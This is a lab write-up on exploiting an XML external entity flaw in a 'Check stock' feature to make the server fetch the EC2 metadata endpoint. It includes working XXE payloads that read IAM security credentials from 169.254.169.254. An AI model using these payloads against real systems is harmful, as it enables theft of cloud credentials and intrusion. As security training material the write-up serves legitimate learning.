TL;DR
Make use of a simple XXE payload through a POST request to query the “AWS meta-data server” for credentials. Iterating through the path leads us to them.
Learning Material
To exploit an XXE vulnerability to perform an SSRF attack, you need to define an external XML entity using the URL that you want to target, and use the defined entity within a data value. If you can use the defined entity within a data value that is returned in the application’s response, then you will be able to view the response from the URL within the application’s response, and so gain two-way interaction with the back-end system. If not, then you will only be able to perform blind SSRF attacks (which can still have critical consequences).
In the following XXE example, the external entity will cause the server to make a back-end HTTP request to an internal system within the organization’s infrastructure:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>Lab
This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response.
The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.
To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server’s IAM secret access key from the EC2 metadata endpoint.
Write-up
By browsing the Website, we can find the following request upon using the Check Stock button on products page :
This implementation is already suspicious because retrieving information should be done by using GET method but it’s for lab’s sake. Our Lab context even specified the Metadata default IP so we don’t even have to check about it, and we can insert it in the payload.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>Next, we can try to exploit it and observe the following result
If you’re unfamiliar with the output you just seen, solving all levels of http://flaws.cloud/ could be helpful. Basically, we got the output of a the folder from a call to the metadata server as we could have through an nginx that allows browsing tree structure. Only thing left is to iterate by using the output. Though we can already use latest/meta-data/iam/security-credentials if you’ve read about AWS Meta-data security credentials.
After identifying this and using the payload with admin
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
Querying this solves the lab. The credentials obtained could be added to ~/.aws/credentials file and used with the AWS-console CLI in a pentest, if the perimeter is in scope.